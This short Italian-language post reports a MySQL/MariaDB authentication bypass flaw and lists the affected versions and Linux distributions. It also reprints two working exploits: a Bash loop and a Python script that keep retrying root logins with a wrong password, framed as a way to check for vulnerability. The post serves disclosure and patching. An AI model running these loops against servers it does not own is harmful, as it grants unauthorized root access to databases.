MySQL e tutti i siti che lo usano sono in pericolo. Sta circolando un exploit che consente di bypassare l'autenticazione accedendo al database con privilegi di root.
La vulnerabilità sfruttata dall'exploit è stata pubblicata nella oss-sec mailing list qualche giorno fa. Nel messaggio di Sergei Golubchik, che ha scoperto il bug di sicurezza, vengono elencate le versioni di MySQL e MariaDB (uno dei fork del database open source):
MySQL e MariaDB: versioni fino alla 5.1.61, 5.2.11, 5.3.5, 5.5.22
Purtroppo molte distribuzioni Linux sono interessate da questo bug in MySQL, tra queste Ubuntu, openSUSE, Debian, Fedora e Arch (per le versioni delle distribuzioni affette rimando all'elenco fornito da H.D. Mooore).
La risposta delle distribuzioni interessate è stata decisamente veloce, Ubuntu per esempio ha rilasciato già delle versioni di MySQL patchate.
L'exploit è eseguibile da un un utente locale ma può essere condotto anche da un attaccante remoto, sempre che l'accesso a MySQL sia concesso anche ad altri host oltre a localhost (una scelta (fortunatamente) quasi mai adottata dai sysadmin).
L'exploit è purtroppo di una banalità tale da ridursi ad una linea di codice Bash:
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
oppure in versione più "sofisticata" come script Python:
#!/usr/bin/python # # # This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little. # # Title: MySQL Remote Root Authentication Bypass # Written by: Dave Kennedy (ReL1K) # http://www.secmaniac.com # # Original advisory here: seclists.org/oss-sec/2012/q2/493 import subprocess ipaddr = raw_input("Enter the IP address of the mysql server: ") while 1: subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
In entrambi i casi, gli script possono essere utilizzati per verificare se la versione di MySQL che utilizziamo risulta vulnerabile.